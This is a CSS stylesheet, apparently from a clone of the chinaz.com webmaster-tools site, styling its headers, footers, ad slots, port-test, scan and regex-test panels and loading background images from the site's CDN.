a.IMSearBtn{ position:relative; display:block; cursor:pointer; z-index:1;} a.IMSearBtn i.corner,a.IMSearBtn i.cnerCurt{ width:9px; height:4px; cursor:pointer; display:inline-block; margin:15px 0 0 3px; position:absolute; right:10px; top:3px;*right:10px; *top:-10px; _top:3px; _float:left;} a.IMSearBtn i.corner{ background-position:0px 0px;} a.IMSearBtn i.cnerCurt{background-position:0px -6px;} .BomreWrap{position:relative; z-index:12; } .Bomrecord{ position:absolute; left:20px; top:38px; *top:15px; _top:15px; z-index:12; background-color:#fff; width:180px;} .Bomrecord .BomCor-arrow { height: 11px; left: 6px; line-height: 11px; overflow: hidden; position: absolute; top: -5px; width: 11px;} .Bomrecord .BomCor-arrow em { color: #D5D4D4 !important; top: 0;} .Bomrecord .BomCor-arrow em,.Bomrecord .BomCor-arrow i { font-family: SimSun; font-size: 11px; font-style: normal; left: 0; position: absolute;} .Bomrecord .BomCor-arrow i { color: #fff;top: 2px;} .BomreList{ width:178px;box-shadow: 0 1px 8px rgba(0, 0, 0, 0.1); border:1px solid #D5D4D4;} .BomreList .BorWrapa{ color:#56688a;display:block; height:35px;line-height:35px; border-bottom:1px solid #f4f4f4; padding-left:10px; z-index:10; padding-right:10px; position:relative; cursor:pointer; overflow:hidden;} .BomreList .BorWrapa:hover{ text-decoration:none;background-color:#f9f9f9;} .BomreList .BorWrapa a{color:#56688a;} .BomreList .BorWrapa a:hover{ color:#f00;} .BomreList i.cloes,a.BomreMore i{ background:url(http://cdn.chinaz.com/tools/images/public/ticon.png) no-repeat;} .BomreList i.cloes{display: block;position: absolute; background-position: -14px 1px; width:12px; height:13px; right:10px; top:12px;} .BomreList i.cloes:hover{ background-color:#52abd9; background-position:-14px -10px; border-radius:3px;} a.BomreMore{ background-color:#f5f5f5; text-align:right; height:30px !important; line-height:30px !important;} a.BomreMore{ color:#999; padding-left:20px; position:relative;} a.BomreMore i{ background-position: -27px 0px; display:inline-block; width:12px; height:13px; position:absolute; right:65px; top:8px;} a.BomreMore:hover{ text-decoration:none;color: #f00;} .BomreWa{ width:85px; height:40px; position:absolute; z-index:12; right:-85px; *bottom:0px; *margin-bottom:10px; *top:3px;_top:2px;} /*history-one-end*/ /*history-two-begin*/ .TFloat-item{position: fixed;width:35px;bottom: 10%;z-index: 999; *position:absolute; _position:absolute; display:none;} .TFloat-item .Record-show{display: block;position: absolute;left: -154px;bottom: 0;text-align: center;border-radius: 2px;width: 143px;background: #fff;box-shadow: 0 1px 8px rgba(0,0,0,.1);border:1px solid #f4f4f4;} .TFloat-item .Record-show .Tgroup{padding: 10px 0;} .TFloat-item .Record-show .Tgroup a{display: block;padding-left: 18px;height: 38px;line-height: 38px;text-align: left;font-weight: 400;position: relative;color: #56688a;font-family:'Microsoft Yahei';cursor: pointer} .TFloat-item .Record-show .Tgroup a:hover{color: #2e4267;text-decoration: none;background-color: #dfe4ee} .TFloat-item .Record-show .Tgroup a i.cloes{position: absolute; background-position: -14px 1px;right:10px; top:12px;} .TFloat-item .Record-show .Tgroup a i.cloes:hover{ background-color:#f4f4f4; border-radius:3px;} .TFloat-item .Record-show .arr{position: absolute;right: -6px;bottom: 14px;width: 6px;height: 11px;background: url(http://cdn.chinaz.com/tools/images/public/code_arrow.png) 0 0 no-repeat} .TFloat-item .Record-show .Tgroup a i.cloes,.TFloat-item .Record-show .Tgroup a.Remove i{display:block; width:12px; height:13px; position:absolute; background:url(http://cdn.chinaz.com/tools/images/public/ticon.png) -14px 1px no-repeat;*background-position: -14px 3px; _height:10px;} .TFloat-item .Record-show .Tgroup a.Remove{ color:#999; padding-left:38px;} .TFloat-item .Record-show .Tgroup a.Remove:hover{ background:none;color: #f00;} .TFloat-item .Record-show .Tgroup a.Remove i{ background-position: -27px 0px; left:18px; top:12px;} .TFloat-item .Record,.TFloat-item .feedback,#TFloat{display: block;margin-bottom: 5px;border-radius: 2px;width: 35px;height: 31px;background: url(http://cdn.chinaz.com/tools/images/public/iconsprite_btbar.png) no-repeat;cursor: pointer;box-shadow: 0 1px 3px rgba(0,0,0,.2)} .TFloat-item .Record{ background-position:-2px -44px;} .TFloat-item .feedback{ background-position:-2px -84px;} #TFloat{ background-position:-3px -4px;} .TFloat-item .Record:hover,.TFloat-item .Record:active,.TFloat-item .feedback:hover,.TFloat-item .feedback:active,#TFloat:hover,#TFloat:active{background-color: rgba(0,0,0,.75)} /*history-two-end*/ /*top-public-end*/ /*footer-public-begin*/ .ToolAbout{ padding:10px 20px 30px 20px; min-height:70px;} .ToolAbout .HeadH4{ height:30px; line-height:30px; padding-bottom:10px;} .ToolAbout .ToolAbCont p.tacHead{ font-size:14px; color:#773E3E;font-family: 'Microsoft YaHei'; padding:10px 0px;} .ToolAbout .ToolAbCont p{ line-height:28px; color:#777777; text-indent:28px;} .ToolAbout .ToolAbCont p b{ color:#773E3E; padding:0px 3px;font-family: 'Microsoft YaHei'; font-size:14px;} /*siteBar-begin*/ /*default*/ .siteBar li{ width:199px; padding:10px 20px; height:146px;} .siteBar li p.plist{ width:198px; height:120px; overflow:hidden;} .siteBar li p.plist a{ display:inline-block; width:49%; float:left; height:30px; line-height:30px; color:#999999;} .Map-navbar .Mnav-left a:hover,.siteBar li p.plist a:hover,.Map-navbar .Mnav-right a:hover{ color:#ff4500;} .Map-navbar .Mnav-right .iconDown,.Map-navbar .Mnav-right .iconFK{ display:block; position:absolute; width:15px; height:15px; left:0px; top:7px;} .Map-navbar .Mnav-right .iconDown{ background-position:-71px -24px;} .Map-navbar .Mnav-right .iconFK{ background-position:-97px 0px;} /*pusmall*/ .pusmall .ToolAbout{ padding:10px 10px 20px 10px;} .pusmall .siteBar li{ width:189px; padding:10px 5px;} .pusmall .siteBar li p.plist{ width:189px;} /*GePrefectureWrap-end--------------------------------*/ .GMFimglist,.GMFimglist02{ height:166px; overflow:hidden;} .GMFocusBoxWrap{ width:1200px; overflow:hidden; height:166px; margin:0px auto;} .GMFocusBox{ width:1200px; height:166px; position:relative;} .Fotline{ width:1px; height:166px; background-color:#fff; position:absolute; right:0px; bottom:0;} .GMFocusBtn{ width:100%;} .GMFocusBtn a { background-image:url(http://cdn.chinaz.com/tools/images/public/ticon.png);display: block; height: 72px; position: absolute; top: 45px; width: 18px; /*z-index:104;*/z-index:51;overflow: hidden;} .GMFocusBtn a:hover{} .GMFocusBtn a.prevBtn{ background-position:-0px -59px; left:0px;} .GMFocusBtn a.nextBtn{ background-position:-19px -59px; right:0px;} .GMFocusBtn a.prevBtn:hover{ background-position:-38px -59px;} .GMFocusBtn a.nextBtn:hover{ background-position:-57px -59px;} .tFull{ width:1200px; overflow:hidden;} /*.GMFimglist02 .siteBar{ width:2400px;}*/ .pusmall .GMFocusBox,.pusmall .tFull,.pusmall .GMFocusBoxWrap{ width:1000px;} /*.pusmall .GMFimglist02 .siteBar{ width:2000px;}*/ .ToFooter{ height:43px;font-family: 'Microsoft YaHei';/*width:180px;width:24%;*/ } .ToFooter a{ display:block; float:left; height:43px; line-height:40px; padding:0px 10px; position:relative; color:#56688a; border-top:3px solid #fff; border-right:1px solid #f4f4f4; width:80px; text-align:center;} .ToFooter a:hover,.ToFooter .ToCurt{ text-decoration:none; background-color:#fff; border-top:3px solid #0474c8; color:#0474c8; } .ToFooter a i.Fline{ width:100%; height:1px; position:absolute; bottom:0px; left:0; display:block;} /*.pusmall .ToFooter{ width:24%;}*/ .ToFootTs{ height:43px; line-height:43px; width:500px; overflow:hidden; text-align:right;} .pusmall .ToFootTs{ width:400px;} /*siteBar-end*/ .puw100{ width:100%; min-width:1000px;} .ToolFooter{ min-height:40px; padding:20px 0px;} .ToolFooter p{ text-align:center; font-size:12px; line-height:12px;} .ToolFooter p.linkbtn{ padding-bottom:10px; color:#999999; padding-top:5px;} .ToolFooter p.linkbtn a{ color:#999999; display:inline-block; padding:0px 10px;} .ToolFooter p.linkbtn a:hover{color:#ff4500;} .ToolFooter p.info{ color:#c0c1c4;} .ToolFooter p.info span{ display:inline-block; padding-right:10px; color:#c0c1c4;} /*footer-public-end*/ /*ToolPage-begin*/ .ToolPage{ padding:10px;} .ToolPage .ToolPage-left,.ToolPage .ToolPage-right{} .ToolPage .ToolPage-left .ExportBtn{ display:inline-block; padding:0px 15px; color:#fff; height:25px; line-height:25px;} .ToolPage .ToolPage-left .ExportBtn:hover{ text-decoration:none;filter: alpha(opacity=80);opacity: 0.8;} .ToolPage .ToolPage-right a,.ToolPage .ToolPage-right span{ display:inline-block;float:left; color:#999999; cursor:pointer; margin-right:5px;} .ToolPage .ToolPage-right a{background-color:#f7fafd; padding:3px 15px;} .ToolPage .ToolPage-right a:hover{text-decoration:none; color:#338de6;filter: alpha(opacity=80);opacity: 0.8;} .ToolPage .ToolPage-right span{ padding:3px 5px;} .pagewrite{ border:1px solid #c6cede; width:30px; height:22px; line-height:22px; text-align:center; display:inline-block; float:left;} .pusmall .ToolPage .ToolPage-right a{ padding:3px 7px;} /*ToolPage-begin*/ /*ResultList-begin*/ .sort{display: inline-block;vertical-align: middle;width: 6px;height: 9px;overflow: hidden;margin:-1px 0 0 4px;background:url(http://cdn.chinaz.com/tools/images/public/sortIcon.png) no-repeat;display:none;} .down{background-position: 0 -10px;} .up{background-position: 0 -20px;} /*ResultList-end*/ .corUp{border-width: 0px 4px 5px !important;} .LI7{ margin-top:0 !important; *margin-top:0px;} /*searchToolBox-*/ #ToolBox { border:#BFC2D3 1px solid;width:220px;position:absolute; background-color:#fff; display:none; z-index:50;} #ToolBox ul { text-align:left; padding:0; margin:2px;} #ToolBox ul li{ list-style-type:none; line-height:25px; background-color:#FAFAFA; } #ToolBox ul li a{ display:block;cursor:pointer; width:99%; padding-left:2px; } #ToolBox ul li a:hover{ background-color:#E8F0FB; color:#3333ff; text-decoration:none;} #ToolBox ul li a .del{margin-right:5px; display:inline-block; float:left; color:#fff; background-color:#55a7e3; border:1px solid #0474c8; line-height:24px; height:24px; padding:0px 5px;} /*Toolsrtising*/ .topTsCenter img{ width:468px; height:60px;} .topTsRight{/* width:410px;*/ height:58px; border:1px solid #e8e8e8; background:url(http://cdn.chinaz.com/tools/images/public/agg.gif) right bottom no-repeat; width:425px;} .topTsRight ul{ width:200px; float:left; padding-left:5px; padding-top:3px;} .topTsRight ul li{ display:block; height:17px; line-height:17px; width:200px; float:left; overflow:hidden; text-align:center;font-family:'Tahoma','simsun';} .ToolsWrap{ background-color:#e8e8e8;} .ToolsTxtWrap{ padding:10px; background:url(http://cdn.chinaz.com/tools/images/public/agg01.gif) right bottom no-repeat #fff;} .ToolsTxtWrap .ToolslistW{ padding-left:10px; padding-right:10px; text-align:center; line-height:20px; height:60px; width:18%; float:left; display:inline-block;} .ToolsTxtWrap .ToolslistW li{ height:20px; width:100%; overflow:hidden;font-family:'Tahoma','simsun';} .ToolsImgWrap{ padding-top:10px; padding-bottom:10px;} .ToolsImgWrap .AslistImg{ padding:0px 10px; line-height:20px; background-color:#fff;} .ToolsImgWrap .AslistImg a{ display:block; text-align:center;} .ToolsWrapIM .ToolsOne img{ width:270px; height:60px;} .ToolsWrapIM .ToolsTwo img{ width:640px; height:60px;} .ToolsWrapIM .ToolsThree img{ width:270px; height:60px;} .ToolsImgWrap .ToolsFour img{ width:290px; height:40px;} .ToolsImgWrap .ToolsFive img{ width:445px; height:40px;} .WhoisOneIM{ width:300px; height:250px; background-color:#c0c1c4;} .fix-layer{ position:fixed; top:10px;} .fix-layer2{ position:absolute; bottom:10px;} .IcpImgWrapIM{position:absolute; right:0px; top:1px; border-left:1px solid #f7f7f7; background-color:#fff; padding:4px 10px; z-index:1; *z-index:1;} .IcpImgCIM{ width:300px; height:280px;} /*pusmall*/ .pusmall .topTsCenter{ width:370px; height:60px; overflow:hidden;} .pusmall .topTsCenter img{ width:370px; height:60px;} .pusmall .ToolsWrapIM img{ height:50px;} .pusmall .ToolsWrapIM .ToolsOne img{ width:215px;} .pusmall .ToolsWrapIM .ToolsTwo img{ width:550px;} .pusmall .ToolsWrapIM .ToolsThree img{ width:215px;} .pusmall .ToolsImgWrap img{ height:35px;} .pusmall .ToolsImgWrap .ToolsFour img{ width:290px;} .pusmall .ToolsImgWrap .ToolsFive img{ width:345px;} .pusmall .ToolsTxtWrap .ToolslistW{ width:17.8%;} /*ReLImgCenter*/ .ReLImgCenter{ text-align:center !important; float:none !important;display:table-cell; _display:inline-block;vertical-align:middle; /*width:100% !important;*/ _width:auto;} .ReLImgCenter span,.ReLImgCenter a,.ReLImgCenter img{display:inline-block;vertical-align:middle; *margin-top:7px;float:none !important;} .ReLImgCenter span{ *line-height:normal;} .pusmall .ReLImgCenter .w280{ width:240px;} .pusmall .ReLImgCenter .w70{ width:65px;} .new_fea a{padding:0 5px; color: #0474c8;} /*index-begin*/ .ClassHead-wrap,.ClassHead-wrap02,.ClassHead-wrap03{ margin:0px auto; background:#fff; height:36px;_height:37px; padding-top:10px; /*border-bottom:1px solid #c6cede;*/ background:url(http://cdn.chinaz.com/tools/images/public/nBarbg.png) #fff left bottom repeat-x;} .ClassHead-wrap a,.ClassHead-wrap02 a,.ClassHead-wrap03 a{ display:inline-block; float:left; padding:0px 20px; _padding:0px 15px; line-height:33px; height:33px; cursor:pointer; color:#0474c8;border-width:2px 1px 0px 1px;border-color:#fff;border-style:solid;} .ClassHead-wrap a{border-color:#fff;} .ClassHead-wrap02 a{border-color:#f1f9ff} .ClassHead-wrap a:hover,.ClassHead-wrap02 a:hover,.ClassHead-wrap03 a:hover{ text-decoration:none; color:#56688a;} .ClassHead-wrap a.CHeadcur,.ClassHead-wrap02 a.CHeadcur,.ClassHead-wrap03 a.CHeadcur{ padding:0px 20px;_padding:0px 15px; line-height:33px; height:33px; color:#56688a; text-decoration:none;border-top:2px solid #56688a;border-left:1px solid #c6cede;border-right:1px solid #c6cede;border-bottom:1px solid #fff;_border-bottom:2px solid #fff;} .ClassHead-wrap a:hover,.ClassHead-wrap02 a:hover,.ClassHead-wrap03 a:hover{ color:#56688a;} .ClassHead-wrap02 a.CHeadcur,.ClassHead-wrap02 a:hover,.ClassHead-wrap03 a:hover{ background:#fff;} .pusmall .ClassHead-wrap a,.pusmall .ClassHead-wrap a.CHeadcur,.pusmall .ClassHead-wrap a:hover,.pusmall .ClassHead-wrap02 a,.pusmall .ClassHead-wrap02 a.CHeadcur,.pusmall .ClassHead-wrap02 a:hover,.pusmall .ClassHead-wrap03 a,.pusmall .ClassHead-wrap03 a.CHeadcur,.pusmall .ClassHead-wrap03 a:hover{ padding:0px 8px;} .pusmall .ClassHead-wrap,.pusmall .ClassHead-wrap02{ width:1000px;} .ClassHead-wrap,.ClassHead-wrap02{ width:1200px;} .ClassHead-wrap03{ width:950px;} .pusmall .ClassHead-wrap03{ width:760px;} /*bgnone*/ .bgnone:hover{ background:none !important;} .loading{padding:10px 0px;} .loading img{ vertical-align:bottom;} /*2016-05-24rank_a*/ .topTsCentRank img{ width:640px; height:60px;} .topTsRigRank{ width:225px; height:58px; border:1px solid #e8e8e8; background: url(http://cdn.chinaz.com/tools/images/public/agg.gif) bottom right no-repeat;} .topTsRigRank ul{ width:200px; float:left; padding-left:5px; padding-top:3px;} .topTsRigRank ul li{ display:block; height:17px; line-height:17px; width:200px; float:left; overflow:hidden; text-align:center;font-family:'Tahoma','simsun';} .ToolsWrapIM .ToolsSix img,.ToolsWrapRK .ToolsSix img{ width:595px; height:60px;} .pusmall .ToolsWrapIM .ToolsSix img,.pusmall .ToolsWrapRK .ToolsSix img{ width:495px;} .pusmall .topTsCentRank img{ width:570px; height:60px;} .ToolsWrapRK{ padding-bottom:10px;} /*2016-05-24rank_a END*/ /*2016-06-15 bottomadTxt*/ .fotatxtd{ width:1024px; height:40px;} .pusmall .fotatxtd{ width:1000px;} /*2016-06-12 float wajue*/ .folwc{position: absolute; right: 0px; display: none; height: 22px !important; line-height: 22px !important; top: 8px; background:#fff; color: #cee2f8; min-height:22px !important;} /*2016-08-09 seo-down*/ .seo-down{position: absolute; width: 130px; height: 40px;line-height: 40px; right: -225px;} .seo-down a{ color:#ff0000; display:block; width:120px; background:url(http://cdn.chinaz.com/tools/images/public/seo-new02.gif) center right no-repeat;} .seol70{ margin-left:-70px !important;} .Map-navbar .toolDown{display:block; position:absolute;width: 22px;height: 21px; left:0px;top: 5px; background:url(http://cdn.chinaz.com/tools/images/public/tooldown.png) no-repeat;} .ToolTop .TnavList li.seo-top a:hover,.ToolTop .TnavList li.seo-top a:hover span{ border:none; color:#ff4500;} .ToolTop .TnavList li.seo-top{position:absolute; right:-100px; _right:-160px;} .ToolTop .TnavList li.seo-top a.sNew{ background:url(http://cdn.chinaz.com/tools/images/public/seo-new.gif) center right no-repeat;display:block; color: #747d87; width:90px; height:25px;} .pusmall .ToolTop .TnavList li.seo-top{width:90px; right:-160px; } /*2016-09-07 public_a begin*/ .agg { width:29px; height:16px; display:block; font-size: 12px; font-family: sans-serif; color: #fff; background-color: #DAD9D9;right: 0; bottom: 0;} #toolsIntro{ background:url(http://cdn.chinaz.com/tools/images/public/agg01.gif) left center no-repeat;padding-left: 35px;} div.fl.topTsRight.ml10{ margin-left: 0; } /*2017-02-13*/ /*2016-09-07 public_a end*/ ================================================ FILE: web_chinaz/chinaz/static/styles/toolstyle.css ================================================ @charset "utf-8"; /* CSS Document */ /*index-begin*/ .ClassHead-wrap,.ClassHead-wrap02{ width:1200px; margin:0px auto; background:#fff; height:36px;_height:37px; padding-top:10px; background:url(http://cdn.chinaz.com/tools/images/public/nBarbg.png) #fff left bottom repeat-x;} .ClassHead-wrap a,.ClassHead-wrap02 a{ display:inline-block; float:left; padding:0px 20px; _padding:0px 15px; line-height:33px; height:33px; cursor:pointer; color:#0474c8;border-width:2px 1px 0px 1px;border-color:#fff;border-style:solid;} .ClassHead-wrap a{border-color:#fff;} .ClassHead-wrap02 a{border-color:#f1f9ff} .ClassHead-wrap a:hover,.ClassHead-wrap02 a:hover{ text-decoration:none; color:#56688a;} .ClassHead-wrap a.CHeadcur,.ClassHead-wrap02 a.CHeadcur{ padding:0px 25px;_padding:0px 15px; line-height:33px; height:33px; color:#56688a; text-decoration:none;border-top:2px solid #56688a;border-left:1px solid #c6cede;border-right:1px solid #c6cede;border-bottom:1px solid #fff;_border-bottom:2px solid #fff;} .ClassHead-wrap a:hover,.ClassHead-wrap02 a:hover{ color:#56688a;} .ClassHead-wrap02 a.CHeadcur,.ClassHead-wrap02 a:hover{ background:#fff;} .pusmall .ClassHead-wrap a,.pusmall .ClassHead-wrap a.CHeadcur,.pusmall .ClassHead-wrap a:hover,.pusmall .ClassHead-wrap02 a,.pusmall .ClassHead-wrap02 a.CHeadcur,.pusmall .ClassHead-wrap02 a:hover{ padding:0px 8px;} .pusmall .ClassHead-wrap,.pusmall .ClassHead-wrap02{ width:1000px;} /*filter-choese-begin*/ .MainCate-choese{display:inline-block; float:left; height:30px;} .MainCateW-choese{height:30px;display:inline-block; float:left; margin-right:10px; z-index:2;} .MainCateW-cont{cursor: pointer; background-color:#fff; padding: 0px 5px;color:#747d87;height:28px;line-height:28px;font-size:12px;border:solid #c6cede;border-width:1px; display: inline-block;-webkit-user-select:none;-moz-user-select:none;} .MCicon-drop-down{position: absolute;right: 10px;top: 13px;overflow: hidden;width: 0px;height: 0px;cursor: pointer;border-width: 5px 4px 0px;border-color: #999999 #FFF;border-style: solid;display: block;} .MainCateC-down{position: absolute;top: 30px; background-color:#fff;left: 0px;right: 0px;border:solid #c6cede;border-width:0px 1px 1px 1px;list-style-type: none;z-index: 10;font-size:12px;background: #FFF none repeat scroll 0% 0%;overflow: auto;max-height: 220px;letter-spacing:normal;display:none;} .MainCateC-down li{line-height:21px; height:21px;cursor: pointer;text-align:left;} .MainCateC-down li:hover{background: #f5f5f5;} .MainCateC-down li a{color:#747d87; display:block;padding-left: 7px;} .MainCateC-down li a:hover{text-decoration:none;} /*filter-choese-end*/ /*port-begin*/ .portTestWrap{ width:820px; margin-left:auto; margin-right:auto;} .portTestWrap div.Porname{ position:relative; float:left;} .portTestWrap .TitInput{ height:28px; line-height:28px; padding:0px 10px; border:1px solid #c6cede; float:left;} .portTestWrap .TitInBtn{ background-color:#f1f9ff; height:30px; line-height:30px; text-align:center; width:70px; border:none; cursor:pointer; color:#0474c8;} .portTestWrap .TitInBtn:hover,.portTestear .PorBtn:hover{filter: alpha(opacity=80);opacity: 0.8;} .portTestear{ width:820px;} .portTestear .PorTxtear{ width:500px; height:28px; line-height:28px; padding:0px 10px; border:1px solid #c6cede;float:left;} .portTestear p.Porinfo{width:500px; height:25px; line-height:25px; color:#999;} .portTestear .PorBtn{ width:70px; height:30px; line-height:30px; *line-height:none; display:block; background-color:#55a7e3 ; color:#fff; border:none; float:left;} .portRtitCent{ border:1px solid #c6cede; width:1170px;} .portRtitCent .RtitCehead{ background-color:#fafafa; overflow:hidden;} .portRtitCent .RtitCehead span{ display:block; line-height:40px; width:33%; float:left; text-indent:20px; *margin-left:20px;} .portRtitCent .RtitCehead span b{ color:#F00;} .portRtitCent .RtitCeCode{ line-height:30px; font-size:14px; padding:20px; background-color:#fff; color:#555555;} .portRtitCent .RtitCeCode pre{ white-space:normal;} .pusmall .portRtitCent{ width:970px;} /*port-end*/ /*saomiao*/ .SMSearTxt{ width:690px; border:none; border:1px solid #c6cede; background-color:#fff; min-height:103px;padding:7px 5px; line-height:24px; font-size:16px; white-space:normal;} .SMSearBtn{ height:35px; line-height:35px; color:#fff; background-color:#55a7e3; border:none; font-size:14px;} .SMSearBtn:hover{filter: alpha(opacity=80);opacity: 0.8;} .ResultWrap .ResultListwrap,.ResultWrap .ResultListHead{ width:100%; min-height:40px;} .ResultWrap .ResultListwrap:hover{ filter: alpha(opacity=80);opacity: 0.8;} .ResultWrap .ReListhalf{line-height:30px; padding-top:5px; padding:5px; display:inline-block; float:left; color:#444444; text-align:center;} .ResultWrap .ResultListwrap .w220,.ResultWrap .ResultListHead .w220{ width:180px;} .ResultWrap .ResultListwrap .w350,.ResultWrap .ResultListHead .w350{ width:300px;} .ResultWrap .ResultListwrap .w510,.ResultWrap .ResultListHead .w510{ width:400px;} /*saomiao*/ /*CssZaiXianWrap-begin*/ .CssZaiXianWrap{ width:1170px; border:1px solid #c6cede;} .CssZaiXianWrap .CssheadWrap{ background-color:#f1f9ff; width:1170px; } .CssZaiXianWrap .CssheadTop{height:30px; line-height:30px; padding:5px 5px 2px;} .CssZaiXianWrap .CssheadTop .Typeleft{ display:inline-block; padding-left:20px; font-size:14px;} .CssZaiXianWrap .CssheadTop .Typeleft a{ display:inline-block; float:left; margin:0px 15px; color:#56688a; padding:0px 10px;} .CssZaiXianWrap .CssheadTop .Typeleft a:hover{ color:#0474c8;text-decoration:none; } .CssZaiXianWrap .CssheadTop .Typeleft a.TyLcurt{ text-decoration:none; border-bottom:3px solid #0474c8; font-weight:bold;} .CssZaiXianWrap .CssheadTop .BtnRig{ font-size:16px; font-family: 'Microsoft YaHei';} .CssZaiXianWrap .CssheadTop .BtnRig a{ border:1px solid #c6cede; color:#147dcc;padding:0px 15px; border:1px solid #c6cede; margin-right:10px; height:28px; line-height:28px;} .CssZaiXianWrap .CssheadTop .BtnRig a.BtnRcurt,.CssZaiXianWrap .CssheadTop .BtnRig a:hover{text-decoration:none; border:1px solid #55a7e3;filter: alpha(opacity=80);opacity: 0.8;} .CssZaiXianWrap .CssheadBoot{ padding:10px;} .CssZaiXianWrap .CssCententWrap{ width:1170px;} .CssCent-top{ width:100%; border-bottom:1px solid #dfe4ee;} .cssCentHead{ height:30px; line-height:30px; background-color:#f1f9ff; width:565px; padding:0px 10px; border-bottom:1px solid #c6cede; color:#0474c8; font-weight:normal;} .CssCent-left,.CssCent-right{ width:584px; float:left; overflow:hidden;} .CssCent-left textarea,.CssCent-right textarea{border:none; padding:10px; font-size:14px;} .CssCent-left textarea{ width:563px;} .CssCent-right textarea{ width:564px;} .h245{height:245px;} .h215{height:215px;} .h266{ height:266px;} .CssCdome{ width:700px; min-height:350px; overflow:hidden; background-color:#ece9d8; margin:10px auto;} .pusmall .CssZaiXianWrap,.pusmall .CssZaiXianWrap .CssheadWrap,.pusmall .CssZaiXianWrap .CssCententWrap{ width:970px;} .pusmall .CssCent-left,.pusmall .CssCent-right{width:484px;} .pusmall .CssCent-left textarea{ width:463px;} .pusmall .CssCent-right textarea{ width:464px;} /*CssZaiXianWrap-end*/ /*GuoLvWrap-begin*/ .GuoLvWrap{ width:1170px;} .GuoLvWrapAgo,.GuoLvWrapAfter{ width:1148px; padding:5px 10px; line-height:30px; font-size:14px;} .GlOtherWay,.GuoLvWay,.GuoLvCbtn{ display:inline-block; float:right;} .GlOtherWay span,.GlOtherWay input,.GuoLvWay span,.GuoLvWay input,.GuoLvCbtn input{ display:inline-block; float:left;} .GuoLvCbtn input{ padding:0px 12px; border:none; height:35px; color:#0474c8;font-size:14px; line-height:35px; text-align:center; margin-left:10px; _padding:0px 7px;} .GuoLvCbtn input:hover{filter: alpha(opacity=80);opacity: 0.8;} .GuoLvCbtn input.GLOkBtn:hover{ filter: alpha(opacity=80);opacity: 0.8; } .GuoLvCbtn input.GLOkBtn{ background-color:#55a7e3; color:#fff;font-family: 'Microsoft YaHei';} .GuoLvWay{ padding-top:7px;} .GuoLvWay span{ font-size:12px; color:#747d87; padding:0px 15px 0px 5px;} .GuoLvWay input{ margin-top:2px;} .GlOtherWay{ padding-right: 10px;} .GlOtherWay input{ height:28px; border:1px solid #e8e8e8; padding:0px 5px; *line-height:28px;} .GlOtherWay span{ padding:7px 5px 0px 5px; color:#0474c8;} .pusmall .GuoLvWrap{ width:970px;} .pusmall .GuoLvWrapAgo,.pusmall .GuoLvWrapAfter{ width:948px;} .pusmall .GuoLvCbtn input{padding:0px 7px;} /*GuoLvWrap-begin*/ .search-write-choese{height:40px; z-index:3;} .search-choese-cont{cursor: pointer; padding: 5px 7px; width: 90px;color:#747d87;height:28px;line-height:28px;font-size:14px;border:solid #c6cede;border-width:1px 0px 1px 1px; letter-spacing:normal;display: inline-block;-webkit-user-select:none;-moz-user-select:none;} .icon-drop-down{position: absolute;right: 10px;top: 17px;overflow: hidden;width: 0px;height: 0px;cursor: pointer;border-width: 5px 4px 0px;border-color: #999999 #FFF;border-style: solid;display: block;} .search-choese-down{position: absolute;top: 40px;width:104px;left: 0px;right: 0px; display:none;border:solid #c6cede;border-width:0px 1px 1px 1px;list-style-type: none;padding: 0px;margin: 0px;z-index: 1;font-size:14px;background: #FFF none repeat scroll 0% 0%;overflow: auto;max-height: 220px;letter-spacing:normal;} .search-choese-down li{line-height:30px;cursor: pointer;text-align:left;} .search-choese-down li:hover{background: #f5f5f5;} .search-choese-down li a{color:#747d87;padding-left: 7px; display:block;} .search-choese-down li a:hover{text-decoration:none;} /*chakanyuandaima-bein*/ .TabheadWrap{ height:24px; line-height:24px; padding:5px 0px;} .TabheadWrap span,.TabheadWrap a{ display:inline-block; float:left; height:24px; padding:0px 5px; color:#747d87;} .TabheadWrap a{ background-color:#f1f9ff; color:#0474c8; padding:0px 15px;} .TabheadWrap a.Tabon{ background-color:#55a7e3; color:#fff;} .TabheadWrap a:hover{ text-decoration:none; filter: alpha(opacity=80);opacity: 0.8;} /*OpenCanShu-wrap-begin*/ .OpenCanShu-wrap{ padding:0px 15px 15px; width:1170px;} .OpenCanShu-top label,.OpenCanShu-top input{ display:inline-block; float:left; padding-right:20px;} .OpenCanShu-top input{ padding:0px 5px;} .OpenCanShu-top input.OCStxt{ border:1px solid #c6cede; background-color:#fff; height:26px; line-height:26px;} .OpenCanShu-top label{ line-height:28px; padding:0px 10px;} .pusmall .OpenCanShu-wrap{ width:1170px;} /*filter-Title-begin*/ .DelHeadFilter li,.DelHeadFilter li.casual{ height:auto; padding:5px 0px;} .filter-contlist .item{float:left;overflow:hidden; } .filter-contlist .item li.PLcx,.filter-contlist .item li{float:left;margin-right:6px;height:20px;line-height:20px;overflow:hidden; position:relative;} .filter-contlist .item li.PLcx{margin: 0px 10px 0;} .filter-contlist .item li input{position:absolute;top:0;left:0;opacity:.01;filter:alpha(opacity=0.1)} .filter-contlist .item li p,.filter-contlist .item li p.rado{float:left;display:inline;padding:0 4px 0 25px;background:url(http://cdn.chinaz.com/tools/images/del/ico-del.png) 0px -12px no-repeat; color:#333; } .filter-contlist .item li p label,.filter-contlist .item li p.rado lable{display:inline-block; cursor:pointer;} .filter-contlist .item li p:hover,.filter-contlist .item li p.rado hover{background-position:0px -47px} .filter-contlist .item li.selected p{background-color:#55a7e3;color:#fff;background-position:0px -78px} .filter-contlist .item li.disabled p{background-position:0px -116px} .filter-contlist .item li.selected02 p{background-color:#55a7e3;color:#fff;background-position:0px -78px} .filter-contlist .item li.selected02 p{background-position:0px 246px} /*pusmall*/ .pusmall .filter-contlist .item li.PLcx,.filter-contlist .item li{ margin:0 2px;} .pusmall .DelHeadFilter li.filter-contlist ol.w1070{ width:890px;} /*zhengzeceshi*/ .RegularWrap{ padding:0px 10px 10px; width:1180px;} .RegbuttonBarWrap{ padding:10px;} .RegbuttonBarWrap .RegBtnBar{ padding-top:10px;} .RegbuttonBarWrap .RegBtnBar a{ display:inline-block; float:left; *float:none; padding:0px 10px; height:22px; line-height:22px; border:1px solid #c6cede; background-color:#fff; color:#56688a; margin:5px 10px;} .RegbuttonBarWrap .RegBtnBar a:hover{ background-color:#f1f9ff;text-decoration:none;} /*search-write-wrap-begin*/ .RegularSearWrite-wrap{margin:0 auto; display:block;} .RegularSearWrite-left{display:inline-block;font: 16px arial; margin:0;zoom:1; float:left;} .RegularSearWrite-left{border:solid #c6cede;height: 28px;border-image: none;background: #FFF; vertical-align: top;overflow: hidden;} .RegularSearWrite-left{border-width:1px 0px 1px 1px; } .pusmall 